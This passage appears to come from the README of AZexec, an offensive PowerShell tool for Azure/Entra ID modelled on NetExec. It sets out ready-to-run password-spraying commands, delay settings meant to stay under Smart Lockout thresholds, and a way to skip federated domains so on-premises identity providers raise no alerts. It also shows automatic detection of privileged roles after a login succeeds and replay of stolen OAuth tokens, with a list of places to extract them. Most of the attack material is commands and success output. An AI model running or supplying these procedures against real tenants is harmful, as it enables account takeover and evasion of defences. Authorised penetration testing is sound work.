.\azx.ps1 spray -Domain target.com -UserFile users.txt -Password 'Pass123' -LocalAuth

# Full attack with HTML report
.\azx.ps1 spray -Domain target.com -UserFile users.txt -PasswordFile passwords.txt -Delay 1800 -ContinueOnSuccess -ExportPath spray-report.html
```

#### NetExec Command Mapping

| NetExec | AZexec |
|---------|--------|
| `nxc smb <target> -u users.txt -p 'Pass'` | `.\azx.ps1 spray -Domain target.com -UserFile users.txt -Password 'Pass'` |
| `nxc smb <target> -u users.txt -p 'Pass' --continue-on-success` | `.\azx.ps1 spray ... -ContinueOnSuccess` |
| `nxc smb <target> -u users.txt -p @pass.txt` | `.\azx.ps1 spray ... -PasswordFile pass.txt` |
| `nxc smb <target> -u users.txt -p @pass.txt --no-bruteforce` | `.\azx.ps1 spray ... -PasswordFile pass.txt -NoBruteforce` |
| `nxc smb <target> -u users.txt -p 'Pass' --local-auth` | `.\azx.ps1 spray ... -LocalAuth` |

#### OPSEC Considerations

The `spray` command displays OPSEC warnings before execution:

```
[!] ============================================
[!] OPSEC WARNING - PASSWORD SPRAY ATTACK
[!] ============================================

[*] Attack Configuration:
    Users to test:       50
    Passwords to test:   3
    Total attempts:      150
    Attack mode:         Matrix (all combinations)
    Delay between rounds: 1800 seconds
    Continue on success: No

[*] Azure AD Smart Lockout Information:
    Default threshold:   ~10 failed attempts per user
    Lockout duration:    60 seconds (increases with attempts)
    Familiar locations:  May have higher threshold
```

**Recommended OPSEC Settings:**
- Use `-Delay 1800` (30 minutes) or higher between password rounds
- Spray only 1-2 passwords per day per user
- Use `-NoBruteforce` when you have user:password pairs
- Test against a small subset first to assess lockout policies

#### Attack Modes

**Matrix Mode (Default):**
Tests all user/password combinations. With 50 users and 3 passwords = 150 attempts.

```powershell
.\azx.ps1 spray -Domain target.com -UserFile users.txt -PasswordFile passwords.txt
```

**Linear Pairing Mode (-NoBruteforce):**
Tests user1 with pass1, user2 with pass2, etc. Useful when you have leaked credential pairs.

```powershell
.\azx.ps1 spray -Domain target.com -UserFile users.txt -PasswordFile passwords.txt -NoBruteforce
```

#### Output Formats

The spray command supports multiple export formats:

| Format | Command | Best For |
|--------|---------|----------|
| CSV | `-ExportPath results.csv` | Quick analysis, Excel |
| JSON | `-ExportPath results.json` | Programmatic processing |
| HTML | `-ExportPath report.html` | Reports, presentations |

#### Local Authentication Mode (-LocalAuth)

Use `-LocalAuth` to only spray managed (cloud-only) domains, skipping federated domains. This is the Azure equivalent of NetExec's `--local-auth` flag.

```powershell
# Cloud-only spray (skips federated domains)
.\azx.ps1 spray -Domain target.com -UserFile users.txt -Password 'Pass123' -LocalAuth
```

**Why Use This?**

Federated domains redirect ROPC authentication to on-premises identity providers (AD FS, Okta, Ping, etc.) which may:
- Block ROPC entirely (AADSTS7000218)
- Have different lockout policies
- Log authentication attempts in the on-prem IdP
- Require different attack vectors

**Managed Domain with -LocalAuth:**
```
AZR         managed.com                        443    [*] Mode: Cloud-only auth (LocalAuth)
AZR         managed.com                        443    [+] Tenant exists
AZR         managed.com                        443    [*] NameSpaceType: Managed
AZR         managed.com                        443    [*] Federation: Managed (Cloud-only)
...
AZR         managed.com                        443    user@managed.com                   [+] SUCCESS! (Cloud) Got access token
```

**Federated Domain with -LocalAuth:**
```
AZR         federated.com                      443    [!] SKIPPED - Federated domain (use without -LocalAuth to spray)
[*] Domain uses federation: AD FS
[*] Auth would redirect to: https://sts.company.com/adfs/ls/
```

**Technical Background:**

Unlike SMB where `--local-auth` bypasses domain entirely, Azure has constraints:
1. Cannot force cloud-only auth for federated domains - tenant policy controls this
2. Federated domains redirect ROPC to federation provider
3. Some federated setups block ROPC entirely

The `-LocalAuth` flag checks the domain's `NameSpaceType` (Managed/Federated) and skips federated domains to avoid:
- Wasted attempts against ROPC-blocked domains
- Triggering alerts in on-premises IdPs
- Unpredictable lockout behavior from external IdPs

---

## 🔐 Checking Credentials (Domain) - Azure's Pwn3d! Equivalent

AZexec provides NetExec's "Checking Credentials (Domain)" functionality - testing credentials and showing privilege level (`Pwn3d!` equivalent) in a single operation.

### NetExec Comparison

**NetExec Commands:**
```bash
nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORD'     # Password auth
nxc smb 192.168.1.0/24 -u UserName -H 'NTHASH'       # Hash auth (Pass-the-Hash)
```

**NetExec Output:**
```
SMB  192.168.1.100  445  DC01  [+] DOMAIN\admin:Password (Pwn3d!)
SMB  192.168.1.101  445  SRV01 [+] DOMAIN\user:Password
SMB  192.168.1.102  445  SRV02 [-] DOMAIN\user:Password
```

**AZexec Equivalent:**
```powershell
# Credential check with automatic admin detection
.\azx.ps1 guest -Domain target.com -Username admin@target.com -Password 'Pass123'

# Token-based auth (Azure's Pass-the-Hash equivalent)
.\azx.ps1 guest -AccessToken "eyJ0eXAi..."
```

**AZexec Output:**
```
AZR         example.com                        443    admin@example.com              [+] SUCCESS! Got access token (GlobalAdmin!)
AZR         example.com                        443    secops@example.com             [+] SUCCESS! Got access token (SecurityAdmin!)
AZR         example.com                        443    user@example.com               [+] SUCCESS! Got access token
AZR         example.com                        443    helpdesk@example.com           [+] Valid credentials - MFA REQUIRED
AZR         example.com                        443    locked@example.com             [!] ACCOUNT LOCKED
```

### Automatic Admin Detection

After successful authentication, AZexec **automatically** queries the user's role memberships and displays privilege indicators (NetExec's `Pwn3d!` equivalent):

| Azure Role | Display Indicator | Risk Level |
|------------|-------------------|------------|
| Global Administrator | `(GlobalAdmin!)` | CRITICAL |
| Privileged Role Administrator | `(PrivRoleAdmin!)` | CRITICAL |
| Privileged Authentication Administrator | `(PrivAuthAdmin!)` | CRITICAL |
| Security Administrator | `(SecurityAdmin!)` | HIGH |
| Application Administrator | `(AppAdmin!)` | HIGH |
| Authentication Administrator | `(AuthAdmin!)` | HIGH |
| Cloud Application Administrator | `(CloudAppAdmin!)` | HIGH |
| Conditional Access Administrator | `(CAAdmin!)` | HIGH |
| Intune Administrator | `(IntuneAdmin!)` | HIGH |
| User Administrator | `(UserAdmin!)` | MEDIUM |
| Helpdesk Administrator | `(HelpdeskAdmin!)` | MEDIUM |
| Password Administrator | `(PasswordAdmin!)` | MEDIUM |
| Exchange Administrator | `(ExchangeAdmin!)` | MEDIUM |
| SharePoint Administrator | `(SharePointAdmin!)` | MEDIUM |
| Teams Administrator | `(TeamsAdmin!)` | MEDIUM |
| Groups Administrator | `(GroupsAdmin!)` | MEDIUM |

### Token-Based Authentication (Pass-the-Hash Equivalent)

Azure AD doesn't use NTLM hashes, but OAuth2 access tokens serve as the equivalent "credential material" that can be stolen and replayed.

**Why Token Auth Instead of Hash Auth?**
- Azure AD doesn't use NTLM hashes for authentication
- OAuth2 access tokens are the equivalent "credential material"
- Token replay = Azure's Pass-the-Hash

**Token Sources (where attackers extract tokens):**
- Browser local storage / session storage
- Process memory (Chrome, Edge, desktop apps)
- Azure CLI token cache (`~/.azure/accessTokens.json`)
- Azure PowerShell token cache
- ADAL/MSAL token caches
- Keychain (macOS) / Credential Manager (Windows)

**Usage:**
```powershell
# Test with stolen/extracted access token
.\azx.ps1 guest -AccessToken "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."

# Output shows username from token and privilege level
# AZR  <tenant-id>  443  admin@example.com  [+] SUCCESS! Token validated (GlobalAdmin!)
```

### NetExec Command Mapping

| NetExec | AZexec |
|---------|--------|
| `nxc smb <target> -u user -p 'pass'` | `.\azx.ps1 guest -Domain target.com -Username user@target.com -Password 'pass'` |
| Shows `(Pwn3d!)` for admins | Automatic - shows `(GlobalAdmin!)`, `(SecurityAdmin!)`, etc. |
| `nxc smb <target> -u user -H 'hash'` (Pass-the-Hash) | `.\azx.ps1 guest -AccessToken "eyJ0eXAi..."` |

### Technical Implementation

**Privilege Check Process:**
1. After successful ROPC authentication, we get an access token
2. Use the token to query `https://graph.microsoft.com/v1.0/me/transitiveMemberOf/microsoft.graph.directoryRole`
3. Compare role template IDs against known privileged roles
4. Display the highest-risk privilege indicator

**Required Graph API Scope:**
- `RoleManagement.Read.Directory` or `Directory.Read.All`
- If the token lacks these scopes, privilege check is silently skipped

**Rate Limiting Considerations:**
- Automatic admin check adds 1-2 Graph API calls per successful auth
- Only runs on SUCCESSFUL authentications (not failures)
- Acceptable overhead even for large spray operations

### Usage Examples

```powershell
# Single credential check with automatic admin detection
.\azx.ps1 guest -Domain target.com -Username admin@target.com -Password 'Summer2024!'
# Output: AZR example.com 443 admin@example.com [+] SUCCESS! Got access token (GlobalAdmin!)

# Password spray - automatically detects admin on each valid credential
.\azx.ps1 spray -Domain target.com -UserFile users.txt -Password 'Summer2024!'

# Token-based auth - test a stolen access token
.\azx.ps1 guest -AccessToken "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."
# Username extracted from token claims automatically

# Export results with privilege data
.\azx.ps1 spray -Domain target.com -UserFile users.txt -Password 'Pass' -ExportPath results.json
# JSON includes: PrivilegeLevel, PrivilegeDisplay, PrivilegedRoles array
```

---

**Note**: This tool requires PowerShell 7+ and appropriate Azure/Entra ID permissions. Always ensure you have proper authorization before conducting any enumeration activities.

AZexec

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